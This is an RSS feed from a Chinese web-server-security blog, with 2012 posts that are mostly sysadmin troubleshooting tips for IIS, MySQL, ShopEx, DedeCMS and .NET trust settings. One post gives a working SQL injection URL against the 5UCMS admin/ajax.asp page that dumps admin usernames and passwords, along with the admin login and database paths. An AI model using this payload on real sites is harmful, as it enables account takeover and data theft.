虫虫BLOG 臭虫BLOG 虫虫博客 臭虫博客 脚本安全 WEB服务器安全http://hackserver.cn/WEB服务器安全 提权 脚本 注入 上传RainbowSoft Studio Z-Blog 1.8 Arwen Build 81206zh-CNWed, 18 Apr 2012 22:21:04 +0800查看wordpress版本a@b.com (fengzhangqing)http://hackserver.cn/post/177.htmlWed, 18 Apr 2012 22:20:30 +0800http://hackserver.cn/post/177.html域名/readme.html

]]>服务器设置备忘http://hackserver.cn/post/177.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=177http://hackserver.cn/cmd.asp?act=tb&id=177&key=7a7a82dbIIS7.5 设置404错误页a@b.com (fengzhangqing)http://hackserver.cn/post/176.htmlWed, 18 Apr 2012 16:37:33 +0800http://hackserver.cn/post/176.html 

在IIS7.5下设置404错误的时候一直都提示失败

后来发现需要在“编辑功能设置”里面给打开该功能。

 

 

...]]>windows2008http://hackserver.cn/post/176.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=176http://hackserver.cn/cmd.asp?act=tb&id=176&key=489232b0星外提取日志出错a@b.com (fengzhangqing)http://hackserver.cn/post/175.htmlWed, 18 Apr 2012 15:18:03 +0800http://hackserver.cn/post/175.html系统：win2008 R2 64位

IIS：7.5

出错：运行环境为64位

开始以FTP名提取...1执行出错A！日志提取执行完成，http://7i24.com 版权所有

解决方案：请您进入Win2008受控服务器，在控制面板中,选区域和语
　　　　　　　　　　言选项,在格式中点自定义此格式，再选日期,
　　　　　　　　　　选短日期,选yyyy-M-d保存就可以解决这个问题.

...]]>windows2008http://hackserver.cn/post/175.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=175http://hackserver.cn/cmd.asp?act=tb&id=175&key=d2dad315IIS7 远程输出详细错误信息a@b.com (fengzhangqing)http://hackserver.cn/post/174.htmlThu, 29 Mar 2012 09:48:00 +0800http://hackserver.cn/post/174.html默认IIS7的好友错误信息是关闭的，需要把错误发送到浏览器的选项给打开即可，如图

 

状态更改为true的状态即可

]]>服务器设置备忘http://hackserver.cn/post/174.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=174http://hackserver.cn/cmd.asp?act=tb&id=174&key=556b9765DEDE后台验证码失败解决方案a@b.com (fengzhangqing)http://hackserver.cn/post/173.htmlThu, 08 Mar 2012 17:00:22 +0800http://hackserver.cn/post/173.html 1、取消验证码，也就是替换 login.php中的if($validate==” || $validate != $svali)然后再改几个文件的相关模块（这个已经试过了不行，取消了验证码之后就陷入了死循环登录页面，然后这个问题就又在网上无解了……不知道说这个方法的人正真碰到过这个问题没有，还是问题有所不同）。
        2、还有一种说法是用ftp进入你的dedecms程序空间，把data/session目录下除index.htm外的其它session文件都删除，我试了，还是失败！
...

]]>dede CMShttp://hackserver.cn/post/173.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=173http://hackserver.cn/cmd.asp?act=tb&id=173&key=ea686142无忧无忧网络文章管理系统（5UCMS）注入漏洞a@b.com (fengzhangqing)http://hackserver.cn/post/172.htmlSat, 03 Mar 2012 13:11:46 +0800http://hackserver.cn/post/172.html后台地址：admin/Login.asp

 

数据库路径：inc/db  目录下

漏洞地址：admin/ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from 5u_Admin&id=1%20and%201=2%20UNION%20select%201%20from 5u_Admin
...

]]>整站利用http://hackserver.cn/post/172.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=172http://hackserver.cn/cmd.asp?act=tb&id=172&key=496653a0将MYSQL添加到服务项中a@b.com (fengzhangqing)http://hackserver.cn/post/171.htmlWed, 22 Feb 2012 15:38:16 +0800http://hackserver.cn/post/171.html@ECHO OFF

D:/application/MySQL/bin/mysqld-nt.exe -install

net start mysql
...

]]>服务器设置备忘http://hackserver.cn/post/171.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=171http://hackserver.cn/cmd.asp?act=tb&id=171&key=e5c75b74Easy File Locker 忘记密码解决方案a@b.com (fengzhangqing)http://hackserver.cn/post/170.htmlTue, 14 Feb 2012 16:34:03 +0800http://hackserver.cn/post/170.html服务器被日了。挂了global.asa文件 这么找也找不到，后来发现是使用Easy File Locker隐藏了，从新安装个Easy File Locker文件发现需要密码，后来经过测试发现c:\windows\system32里查找一个叫“comdlg32.ocx“的文件，找到后右击它，点Unlock解锁并删除，如果提示删除不了，需要重启的话你就按提示吧。

再然后，你到c:\windows里查找一些xlkfs开头的文件，总共应该有4个，全部右击然后点Unlock解锁并删除。

...]]>服务器设置备忘http://hackserver.cn/post/170.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=170http://hackserver.cn/cmd.asp?act=tb&id=170&key=410df4e5shopex PHP has encountered an Access Violation at 05BC5781 解决方案a@b.com (fengzhangqing)http://hackserver.cn/post/169.htmlThu, 12 Jan 2012 10:21:37 +0800http://hackserver.cn/post/169.htmlshopex PHP has encountered an Access Violation at 05BC5781 解决方案

打开SHOPEX后出现shopex PHP has encountered an Access Violation at 05BC5781错误

解决方案：首先备份数据库和数据，然后下载SHOPEX重新安装。安装完成后把老的数据库还原进去。并且WEB也还原，在还原过程中排除core目录即可

或则直接下载个新的SHOPEX然后把core目录覆盖即可

...]]>服务器设置备忘http://hackserver.cn/post/169.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=169http://hackserver.cn/cmd.asp?act=tb&id=169&key=2a56d220说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限，请与系统管理员联系a@b.com (fengzhangqing)http://hackserver.cn/post/168.htmlFri, 06 Jan 2012 21:13:38 +0800http://hackserver.cn/post/168.html为程序部署在被第三方安全组件设置过权限的机器，有些默认值可能被修改。

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config

打开修改

<trust level=”Full” originUrl=”"/>

其中的 Full 值可能已经被修改为其它级别，恢复即可。

]]>服务器设置备忘http://hackserver.cn/post/168.html#commenthttp://hackserver.cn/http://hackserver.cn/feed.asp?cmt=168http://hackserver.cn/cmd.asp?act=tb&id=168&key=abed3c45